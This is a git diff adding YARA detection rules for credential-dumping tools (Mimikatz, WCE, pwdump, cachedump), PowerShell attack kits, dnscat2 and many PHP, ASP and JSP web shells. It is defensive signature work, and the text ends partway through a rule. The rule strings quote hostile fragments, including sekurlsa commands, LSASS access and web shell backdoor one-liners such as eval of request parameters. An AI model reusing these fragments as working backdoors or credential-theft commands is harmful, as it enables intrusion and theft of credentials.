+	    $s5 = "sekurlsa::tspkg" fullword ascii
+	    $s6 = "sekurlsa::livessp" fullword ascii
+	    $s7 = "sekurlsa::ssp" fullword ascii
+	    $s8 = "sekurlsa::logonPasswords" fullword ascii
+	    $s9 = "sekurlsa::process" fullword ascii
+	    $s10 = "ekurlsa::minidump" fullword ascii
+	    $s11 = "sekurlsa::pth" fullword ascii
+	    $s12 = "sekurlsa::tickets" fullword ascii
+	    $s13 = "sekurlsa::ekeys" fullword ascii
+	    $s14 = "sekurlsa::dpapi" fullword ascii
+	    $s15 = "sekurlsa::credman" fullword ascii
+	condition:
+		1 of them
+}
+
+rule Mimikatz_Memory_Rule_2 : APT {
+	meta:
+		description = "Mimikatz Rule generated from a memory dump"
+		author = "Florian Roth - Florian Roth"
+		type = "memory"
+		score = 80
+	strings:
+		$s0 = "sekurlsa::" ascii
+		$x1 = "cryptprimitives.pdb" ascii
+		$x2 = "Now is t1O" ascii fullword
+		$x4 = "ALICE123" ascii
+		$x5 = "BOBBY456" ascii
+	condition:
+		$s0 and 1 of ($x*)
+}
+
+rule mimikatz
+{
+	meta:
+		description		= "mimikatz"
+		author			= "Benjamin DELPY (gentilkiwi)"
+		tool_author		= "Benjamin DELPY (gentilkiwi)"
+      score          = 80
+	strings:
+		$exe_x86_1		= { 89 71 04 89 [0-3] 30 8d 04 bd }
+		$exe_x86_2		= { 89 79 04 89 [0-3] 38 8d 04 b5 }
+
+		$exe_x64_1		= { 4c 03 d8 49 [0-3] 8b 03 48 89 }
+		$exe_x64_2		= { 4c 8b df 49 [0-3] c1 e3 04 48 [0-3] 8b cb 4c 03 [0-3] d8 }
+
+		$dll_1			= { c7 0? 00 00 01 00 [4-14] c7 0? 01 00 00 00 }
+		$dll_2			= { c7 0? 10 02 00 00 ?? 89 4? }
+
+		$sys_x86		= { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 }
+		$sys_x64		= { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 }
+
+	condition:
+		(all of ($exe_x86_*)) or (all of ($exe_x64_*)) or (all of ($dll_*)) or (any of ($sys_*))
+}
+
+
+rule mimikatz_lsass_mdmp
+{
+	meta:
+		description		= "LSASS minidump file for mimikatz"
+		author			= "Benjamin DELPY (gentilkiwi)"
+
+	strings:
+		$lsass			= "System32\\lsass.exe"	wide nocase
+
+	condition:
+		(uint32(0) == 0x504d444d) and $lsass
+}
+
+rule wce
+{
+	meta:
+		description		= "wce"
+		author			= "Benjamin DELPY (gentilkiwi)"
+		tool_author		= "Hernan Ochoa (hernano)"
+
+	strings:
+		$hex_legacy		= { 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 [0-3] 5d c2 08 00 }
+		$hex_x86		= { 8d 45 f0 50 8d 45 f8 50 8d 45 e8 50 6a 00 8d 45 fc 50 [0-8] 50 72 69 6d 61 72 79 00 }
+		$hex_x64		= { ff f3 48 83 ec 30 48 8b d9 48 8d 15 [0-16] 50 72 69 6d 61 72 79 00 }
+
+	condition:
+		any of them
+}
+
+
+rule lsadump
+{
+	meta:
+		description		= "LSA dump programe (bootkey/syskey) - pwdump and others"
+		author			= "Benjamin DELPY (gentilkiwi)"
+
+	strings:
+		$str_sam_inc	= "\\Domains\\Account" ascii nocase
+		$str_sam_exc	= "\\Domains\\Account\\Users\\Names\\" ascii nocase
+		$hex_api_call_1	= { 41 b8 00 00 00 02 [0-64] (68 | ba) ff 07 0f 00 }
+		$hex_api_call_2	= { 68 00 00 00 02 [0-64] (68 | ba) ff 07 0f 00 }
+		$str_msv_lsa	= { 4c 53 41 53 52 56 2e 44 4c 4c 00 [0-32] 6d 73 76 31 5f 30 2e 64 6c 6c 00 }
+		$hex_bkey		= { 4b 53 53 4d [20-70] 05 00 01 00}
+
+	condition:
+		( ($str_sam_inc and not $str_sam_exc) or $hex_api_call_1 or $hex_api_call_2 or $str_msv_lsa or $hex_bkey )
+      and not uint16(0) == 0x5a4d
+}
+
+rule power_pe_injection
+{
+	meta:
+		description		= "PowerShell with PE Reflective Injection"
+		author			= "Benjamin DELPY (gentilkiwi)"
+	strings:
+		$str_loadlib	= "0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9"
+	condition:
+		$str_loadlib
+}
+
+rule Mimikatz_Logfile
+{
+	meta:
+		description = "Detects a log file generated by malicious hack tool mimikatz"
+		author = "Florian Roth"
+		score = 80
+		date = "2015/03/31"
+	strings:
+		$s1 = "SID               :" ascii fullword
+		$s2 = "* NTLM     :" ascii fullword
+		$s3 = "Authentication Id :" ascii fullword
+		$s4 = "wdigest :" ascii fullword
+	condition:
+		all of them
+}
+
+rule AppInitHook {
+	meta:
+		description = "AppInitGlobalHooks-Mimikatz - Hide Mimikatz From Process Lists - file AppInitHook.dll"
+		author = "Florian Roth"
+		reference = "https://goo.gl/Z292v6"
+		date = "2015-07-15"
+		score = 70
+		hash = "e7563e4f2a7e5f04a3486db4cefffba173349911a3c6abd7ae616d3bf08cfd45"
+	strings:
+		$s0 = "\\Release\\AppInitHook.pdb" ascii
+		$s1 = "AppInitHook.dll" fullword ascii
+		$s2 = "mimikatz.exe" fullword wide
+		$s3 = "]X86Instruction->OperandSize >= Operand->Length" fullword wide
+		$s4 = "mhook\\disasm-lib\\disasm.c" fullword wide
+		$s5 = "mhook\\disasm-lib\\disasm_x86.c" fullword wide
+		$s6 = "VoidFunc" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 4 of them
+}
+
+rule VSSown_VBS {
+	meta:
+		description = "Detects VSSown.vbs script - used to export shadow copy elements like NTDS to take away and crack elsewhere"
+		author = "Florian Roth"
+		date = "2015-10-01"
+		score = 75
+	strings:
+		$s0 = "Select * from Win32_Service Where Name ='VSS'" ascii
+		$s1 = "Select * From Win32_ShadowCopy" ascii
+		$s2 = "cmd /C mklink /D " ascii
+		$s3 = "ClientAccessible" ascii
+		$s4 = "WScript.Shell" ascii
+		$s5 = "Win32_Process" ascii
+	condition:
+		all of them
+}
+
+rule Netview_Hacktool {
+	meta:
+		description = "Network domain enumeration tool - often used by attackers - file Nv.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/mubix/netview"
+		date = "2016-03-07"
+      score = 60
+		hash = "52cec98839c3b7d9608c865cfebc904b4feae0bada058c2e8cdbd561cfa1420a"
+	strings:
+		$s1 = "[+] %ws - Target user found - %s\\%s" fullword wide
+		$s2 = "[*] -g used without group specified - using \"Domain Admins\"" fullword ascii
+		$s3 = "[*] -i used without interval specified - ignoring" fullword ascii
+		$s4 = "[+] %ws - Session - %s from %s - Active: %d - Idle: %d" fullword wide
+		$s5 = "[+] %ws - Backup Domain Controller" fullword wide
+		$s6 = "[-] %ls - Share - Error: %ld" fullword wide
+		$s7 = "[-] %ls - Session - Error: %ld" fullword wide
+		$s8 = "[+] %s - OS Version - %d.%d" fullword ascii
+		$s9 = "Enumerating Logged-on Users" fullword ascii
+		$s10 = ": Specifies a domain to pull a list of hosts from" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 2 of them ) or 3 of them
+}
+
+rule Netview_Hacktool_Output {
+	meta:
+		description = "Network domain enumeration tool output - often used by attackers - file filename.txt"
+		author = "Florian Roth"
+		reference = "https://github.com/mubix/netview"
+		date = "2016-03-07"
+      score = 60
+	strings:
+		$s1 = "[*] Using interval:" fullword
+		$s2 = "[*] Using jitter:" fullword
+		$s3 = "[+] Number of hosts:" fullword
+	condition:
+		2 of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-09
+	Identifier: PSattack
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PSAttack_EXE {
+	meta:
+		description = "PSAttack - Powershell attack tool - file PSAttack.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/gdssecurity/PSAttack/releases/"
+		date = "2016-03-09"
+		score = 100
+		hash = "ad05d75640c850ee7eeee26422ba4f157be10a4e2d6dc6eaa19497d64cf23715"
+	strings:
+		$x1 = "\\Release\\PSAttack.pdb" fullword
+
+		$s1 = "set-executionpolicy bypass -Scope process -Force" fullword wide
+		$s2 = "PSAttack.Modules." ascii
+		$s3 = "PSAttack.PSAttackProcessing" fullword ascii
+		$s4 = "PSAttack.Modules.key.txt" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and ( $x1 or 2 of ($s*) ) ) or 3 of them
+}
+
+rule Powershell_Attack_Scripts {
+	meta:
+		description = "Powershell Attack Scripts"
+		author = "Florian Roth"
+		date = "2016-03-09"
+		score = 70
+	strings:
+		$s1 = "PowershellMafia\\Invoke-Shellcode.ps1" ascii
+		$s2 = "Nishang\\Do-Exfiltration.ps1" ascii
+		$s3 = "PowershellMafia\\Invoke-Mimikatz.ps1" ascii
+		$s4 = "Inveigh\\Inveigh.ps1" ascii
+	condition:
+		1 of them
+}
+
+rule PSAttack_ZIP {
+	meta:
+		description = "PSAttack - Powershell attack tool - file PSAttack.zip"
+		author = "Florian Roth"
+		reference = "https://github.com/gdssecurity/PSAttack/releases/"
+		date = "2016-03-09"
+		score = 100
+		hash = "3864f0d44f90404be0c571ceb6f95bbea6c527bbfb2ec4a2b4f7d92e982e15a2"
+	strings:
+		$s0 = "PSAttack.exe" fullword ascii
+	condition:
+		uint16(0) == 0x4b50 and all of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-01
+	Identifier: Linux Hacktool Shark
+*/
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Linux_Portscan_Shark_1 {
+	meta:
+		description = "Detects Linux Port Scanner Shark"
+		author = "Florian Roth"
+		reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
+		date = "2016-04-01"
+		super_rule = 1
+		hash1 = "4da0e535c36c0c52eaa66a5df6e070c52e7ddba13816efc3da5691ea2ec06c18"
+		hash2 = "e395ca5f932419a4e6c598cae46f17b56eb7541929cdfb67ef347d9ec814dea3"
+	strings:
+		$s0 = "rm -rf scan.log session.txt" fullword ascii
+		$s17 = "*** buffer overflow detected ***: %s terminated" fullword ascii
+		$s18 = "*** stack smashing detected ***: %s terminated" fullword ascii
+	condition:
+		( uint16(0) == 0x7362 and all of them )
+}
+
+rule Linux_Portscan_Shark_2 {
+	meta:
+		description = "Detects Linux Port Scanner Shark"
+		author = "Florian Roth"
+		reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
+		date = "2016-04-01"
+		super_rule = 1
+		hash1 = "5f80bd2db608a47e26290f3385eeb5bfc939d63ba643f06c4156704614def986"
+		hash2 = "90af44cbb1c8a637feda1889d301d82fff7a93b0c1a09534909458a64d8d8558"
+	strings:
+		$s1 = "usage: %s <fisier ipuri> <fisier useri:parole> <connect timeout> <fail2ban wait> <threads> <outfile> <port>" fullword ascii
+		$s2 = "Difference between server modulus and host modulus is only %d. It's illegal and may not work" fullword ascii
+		$s3 = "rm -rf scan.log" fullword ascii
+	condition:
+		all of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-15
+	Identifier: dnscat2
+*/
+
+rule dnscat2_Hacktool {
+	meta:
+		description = "Detects dnscat2 - from files dnscat, dnscat2.exe"
+		author = "Florian Roth"
+		reference = "https://downloads.skullsecurity.org/dnscat2/"
+		date = "2016-05-15"
+		super_rule = 1
+		hash1 = "8bc8d6c735937c9c040cbbdcfc15f17720a7ecef202a19a7bf43e9e1c66fe66a"
+		hash2 = "4a882f013419695c8c0ac41d8a0fde1cf48172a89e342c504138bc6f1d13c7c8"
+	strings:
+		$s1 = "--exec -e <process>     Execute the given process and link it to the stream." fullword ascii
+		$s2 = "Sawlog" fullword ascii
+		$s3 = "COMMAND_EXEC [request] :: request_id: 0x%04x :: name: %s :: command: %s" fullword ascii
+		$s4 = "COMMAND_SHELL [request] :: request_id: 0x%04x :: name: %s" fullword ascii
+		$s5 = "[Tunnel %d] connection to %s:%d closed by the server!" fullword ascii
+	condition:
+		( ( uint16(0) == 0x457f or uint16(0) == 0x5a4d ) and filesize < 400KB and ( 2 of ($s*) ) ) or ( all of them )
+}
+
+rule WCE_in_memory {
+	meta:
+		description = "Detects Windows Credential Editor (WCE) in memory (and also on disk)"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		score = 80
+		date = "2016-08-28"
+	strings:
+		$s1 = "wkKUSvflehHr::o:t:s:c:i:d:a:g:" fullword ascii
+		$s2 = "wceaux.dll" fullword ascii
+	condition:
+		all of them
+}
+
+rule pstgdump {
+	meta:
+		description = "Detects a tool used by APT groups - file pstgdump.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "65d48a2f868ff5757c10ed796e03621961954c523c71eac1c5e044862893a106"
+	strings:
+		$x1 = "\\Release\\pstgdump.pdb" ascii
+		$x2 = "Failed to dump all protected storage items - see previous messages for details" fullword ascii
+		$x3 = "ptsgdump [-h][-q][-u Username][-p Password]" fullword ascii
+		$x4 = "Attempting to impersonate domain user '%s' in domain '%s'" fullword ascii
+		$x5 = "Failed to impersonate user (ImpersonateLoggedOnUser failed): error %d" fullword ascii
+		$x6 = "Unable to obtain handle to PStoreCreateInstance in pstorec.dll" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule lsremora {
+	meta:
+		description = "Detects a tool used by APT groups"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "efa66f6391ec471ca52cd053159c8a8778f11f921da14e6daf76387f8c9afcd5"
+		hash2 = "e0327c1218fd3723e20acc780e20135f41abca35c35e0f97f7eccac265f4f44e"
+	strings:
+		$x1 = "Target: Failed to load primary SAM functions." fullword ascii
+		$x2 = "lsremora64.dll" fullword ascii
+		$x3 = "PwDumpError:999999" fullword wide
+		$x4 = "PwDumpError" fullword wide
+		$x5 = "lsremora.dll" fullword ascii
+
+		$s1 = ":\\\\.\\pipe\\%s" fullword ascii
+		$s2 = "x%s_history_%d:%d" fullword wide
+		$s3 = "Using pipe %s" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule servpw {
+	meta:
+		description = "Detects a tool used by APT groups - file servpw.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "97b39ac28794a7610ed83ad65e28c605397ea7be878109c35228c126d43e2f46"
+		hash2 = "0f340b471ef34c69f5413540acd3095c829ffc4df38764e703345eb5e5020301"
+	strings:
+		$s1 = "Unable to open target process: %d, pid %d" fullword ascii
+		$s2 = "LSASS.EXE" fullword wide
+		$s3 = "WriteProcessMemory failed: %d" fullword ascii
+		$s4 = "lsremora64.dll" fullword ascii
+		$s5 = "CreateRemoteThread failed: %d" fullword ascii
+		$s6 = "Thread code: %d, path: %s" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and 3 of them ) or ( all of them )
+}
+
+rule fgexec {
+	meta:
+		description = "Detects a tool used by APT groups - file fgexec.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "8697897bee415f213ce7bc24f22c14002d660b8aaffab807490ddbf4f3f20249"
+	strings:
+		$x1 = "\\Release\\fgexec.pdb" ascii
+		$x2 = "fgexec Remote Process Execution Tool" fullword ascii
+		$x3 = "fgexec CallNamedPipe failed" fullword ascii
+		$x4 = "fizzgig and the mighty foofus.net team" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 100KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule cachedump {
+	meta:
+		description = "Detects a tool used by APT groups - from files cachedump.exe, cachedump64.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		super_rule = 1
+		hash1 = "cf58ca5bf8c4f87bb67e6a4e1fb9e8bada50157dacbd08a92a4a779e40d569c4"
+		hash2 = "e38edac8c838a043d0d9d28c71a96fe8f7b7f61c5edf69f1ce0c13e141be281f"
+	strings:
+		$s1 = "Failed to open key SECURITY\\Cache in RegOpenKeyEx. Is service running as SYSTEM ? Do you ever log on domain ? " fullword ascii
+		$s2 = "Unable to open LSASS.EXE process" fullword ascii
+		$s3 = "Service not found. Installing CacheDump Service (%s)" fullword ascii
+		$s4 = "CacheDump service successfully installed." fullword ascii
+		$s5 = "Kill CacheDump service (shouldn't be used)" fullword ascii
+		$s6 = "cacheDump [-v | -vv | -K]" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 1 of them ) or ( 3 of them )
+}
+
+rule PwDump_B {
+	meta:
+		description = "Detects a tool used by APT groups - file PwDump.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "3c796092f42a948018c3954f837b4047899105845019fce75a6e82bc99317982"
+	strings:
+		$x1 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineName" fullword ascii
+		$x2 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword ascii
+		$x3 = "where -x targets a 64-bit host" fullword ascii
+		$x4 = "Couldn't delete target executable from remote machine: %d" fullword ascii
+
+		$s1 = "lsremora64.dll" fullword ascii
+		$s2 = "lsremora.dll" fullword ascii
+		$s3 = "servpw.exe" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and 1 of ($x*) ) or ( 3 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/thor-webshells.yar b/yara-mikesxrs/Florian Roth/thor-webshells.yar
new file mode 100644
index 0000000..259b200
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/thor-webshells.yar	
@@ -0,0 +1,8723 @@
+/*
+
+   THOR APT Scanner - Web Shells Extract
+   This rulset is a subset of all hack tool rules included in our
+   APT Scanner THOR - the full featured APT scanner
+
+   Florian Roth
+   BSK Consulting GmbH
+
+   revision: 20160115
+
+	License: Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)
+	Copyright and related rights waived via https://creativecommons.org/licenses/by-nc-sa/4.0/
+
+*/
+
+rule Weevely_Webshell {
+	meta:
+		description = "Weevely Webshell - Generic Rule - heavily scrambled tiny web shell"
+		author = "Florian Roth"
+		reference = "http://www.ehacking.net/2014/12/weevely-php-stealth-web-backdoor-kali.html"
+		date = "2014/12/14"
+		score = 60
+	strings:
+		$php = "<?php" ascii
+		$s0 = /\$[a-z]{4} = \$[a-z]{4}\("[a-z][a-z]?",[\s]?"",[\s]?"/ ascii
+		$s1 = /\$[a-z]{4} = str_replace\("[a-z][a-z]?","","/ ascii
+		$s2 = /\$[a-z]{4}\.\$[a-z]{4}\.\$[a-z]{4}\.\$[a-z]{4}\)\)\); \$[a-z]{4}\(\);/ ascii
+		$s4 = /\$[a-z]{4}="[a-zA-Z0-9]{70}/ ascii
+	condition:
+		$php at 0 and all of ($s*) and filesize > 570 and filesize < 800
+}
+
+rule webshell_h4ntu_shell_powered_by_tsoi_ {
+	meta:
+		description = "Web Shell - file h4ntu shell [powered by tsoi].php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "06ed0b2398f8096f1bebf092d0526137"
+	strings:
+		$s0 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>Server Adress:</b"
+		$s3 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>User Info:</b> ui"
+		$s4 = "    <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><?= $info ?>: <?= "
+		$s5 = "<INPUT TYPE=\"text\" NAME=\"cmd\" value=\"<?php echo stripslashes(htmlentities($"
+	condition:
+		all of them
+}
+rule webshell_PHP_sql {
+	meta:
+		description = "Web Shell - file sql.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "2cf20a207695bbc2311a998d1d795c35"
+	strings:
+		$s0 = "$result=mysql_list_tables($db) or die (\"$h_error<b>\".mysql_error().\"</b>$f_"
+		$s4 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"
+	condition:
+		all of them
+}
+rule webshell_PHP_a {
+	meta:
+		description = "Web Shell - file a.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "e3b461f7464d81f5022419d87315a90d"
+	strings:
+		$s1 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\""
+		$s2 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>"
+		$s4 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p> " fullword
+	condition:
+		2 of them
+}
+rule webshell_iMHaPFtp_2 {
+	meta:
+		description = "Web Shell - file iMHaPFtp.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "12911b73bc6a5d313b494102abcf5c57"
+	strings:
+		$s8 = "if ($l) echo '<a href=\"' . $self . '?action=permission&amp;file=' . urlencode($"
+		$s9 = "return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAA"
+	condition:
+		1 of them
+}
+rule webshell_Jspspyweb {
+	meta:
+		description = "Web Shell - file Jspspyweb.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "4e9be07e95fff820a9299f3fb4ace059"
+	strings:
+		$s0 = "      out.print(\"<tr><td width='60%'>\"+strCut(convertPath(list[i].getPath()),7"
+		$s3 = "  \"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control"
+	condition:
+		all of them
+}
+rule webshell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2 {
+	meta:
+		description = "Web Shell - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "49ad9117c96419c35987aaa7e2230f63"
+	strings:
+		$s0 = "die(\"\\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\\n"
+		$s1 = "Mode Shell v1.0</font></span></a></font><font face=\"Webdings\" size=\"6\" color"
+	condition:
+		1 of them
+}
+rule webshell_SimAttacker_Vrsion_1_0_0_priv8_4_My_friend {
+	meta:
+		description = "Web Shell - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
+	strings:
+		$s2 = "echo \"<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><fo"
+		$s3 = "fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"
+	condition:
+		1 of them
+}
+rule webshell_phpshell_2_1_pwhash {
+	meta:
+		description = "Web Shell - file pwhash.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ba120abac165a5a30044428fac1970d8"
+	strings:
+		$s1 = "<tt>&nbsp;</tt>\" (space), \"<tt>[</tt>\" (left bracket), \"<tt>|</tt>\" (pi"
+		$s3 = "word: \"<tt>null</tt>\", \"<tt>yes</tt>\", \"<tt>no</tt>\", \"<tt>true</tt>\","
+	condition:
+		1 of them
+}
+rule webshell_PHPRemoteView {
+	meta:
+		description = "Web Shell - file PHPRemoteView.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "29420106d9a81553ef0d1ca72b9934d9"
+	strings:
+		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
+		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"
+	condition:
+		1 of them
+}
+rule webshell_jsp_12302 {
+	meta:
+		description = "Web Shell - file 12302.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a3930518ea57d899457a62f372205f7f"
+	strings:
+		$s0 = "</font><%out.print(request.getRealPath(request.getServletPath())); %>" fullword
+		$s1 = "<%@page import=\"java.io.*,java.util.*,java.net.*\"%>" fullword
+		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_guo {
+	meta:
+		description = "Web Shell - file guo.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "9e69a8f499c660ee0b4796af14dc08f0"
+	strings:
+		$s0 = "<?php ($www= $_POST['ice'])!"
+		$s1 = "@preg_replace('/ad/e','@'.str_rot13('riny').'($ww"
+	condition:
+		1 of them
+}
+rule webshell_PHP_redcod {
+	meta:
+		description = "Web Shell - file redcod.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5c1c8120d82f46ff9d813fbe3354bac5"
+	strings:
+		$s0 = "H8p0bGFOEy7eAly4h4E4o88LTSVHoAglJ2KLQhUw" fullword
+		$s1 = "HKP7dVyCf8cgnWFy8ocjrP5ffzkn9ODroM0/raHm" fullword
+	condition:
+		all of them
+}
+rule webshell_remview_fix {
+	meta:
+		description = "Web Shell - file remview_fix.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a24b7c492f5f00e2a19b0fa2eb9c3697"
+	strings:
+		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"
+		$s5 = "echo \"<P><hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n"
+	condition:
+		1 of them
+}
+rule webshell_asp_cmd {
+	meta:
+		description = "Web Shell - file cmd.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "895ca846858c315a3ff8daa7c55b3119"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
+		$s3 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+	condition:
+		1 of them
+}
+rule webshell_php_sh_server {
+	meta:
+		description = "Web Shell - file server.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 50
+		hash = "d87b019e74064aa90e2bb143e5e16cfa"
+	strings:
+		$s0 = "eval(getenv('HTTP_CODE'));" fullword
+	condition:
+		all of them
+}
+rule webshell_PH_Vayv_PH_Vayv {
+	meta:
+		description = "Web Shell - file PH Vayv.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "35fb37f3c806718545d97c6559abd262"
+	strings:
+		$s0 = "style=\"BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px in"
+		$s4 = "<font color=\"#858585\">SHOPEN</font></a></font><font face=\"Verdana\" style"
+	condition:
+		1 of them
+}
+rule webshell_caidao_shell_ice {
+	meta:
+		description = "Web Shell - file ice.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "6560b436d3d3bb75e2ef3f032151d139"
+	strings:
+		$s0 = "<%eval request(\"ice\")%>" fullword
+	condition:
+		all of them
+}
+rule webshell_cihshell_fix {
+	meta:
+		description = "Web Shell - file cihshell_fix.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "3823ac218032549b86ee7c26f10c4cb5"
+	strings:
+		$s7 = "<tr style='background:#242424;' ><td style='padding:10px;'><form action='' encty"
+		$s8 = "if (isset($_POST['mysqlw_host'])){$dbhost = $_POST['mysqlw_host'];} else {$dbhos"
+	condition:
+		1 of them
+}
+rule webshell_asp_shell {
+	meta:
+		description = "Web Shell - file shell.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "e63f5a96570e1faf4c7b8ca6df750237"
+	strings:
+		$s7 = "<input type=\"submit\" name=\"Send\" value=\"GO!\">" fullword
+		$s8 = "<TEXTAREA NAME=\"1988\" ROWS=\"18\" COLS=\"78\"></TEXTAREA>" fullword
+	condition:
+		all of them
+}
+rule webshell_Private_i3lue {
+	meta:
+		description = "Web Shell - file Private-i3lue.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "13f5c7a035ecce5f9f380967cf9d4e92"
+	strings:
+		$s8 = "case 15: $image .= \"\\21\\0\\"
+	condition:
+		all of them
+}
+rule webshell_php_up {
+	meta:
+		description = "Web Shell - file up.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "7edefb8bd0876c41906f4b39b52cd0ef"
+	strings:
+		$s0 = "copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']);" fullword
+		$s3 = "if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {" fullword
+		$s8 = "echo \"Uploaded file: \" . $HTTP_POST_FILES['userfile']['name'];" fullword
+	condition:
+		2 of them
+}
+rule webshell_Mysql_interface_v1_0 {
+	meta:
+		description = "Web Shell - file Mysql interface v1.0.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a12fc0a3d31e2f89727b9678148cd487"
+	strings:
+		$s0 = "echo \"<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\\\"return"
+	condition:
+		all of them
+}
+rule webshell_php_s_u {
+	meta:
+		description = "Web Shell - file s-u.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "efc7ba1a4023bcf40f5e912f1dd85b5a"
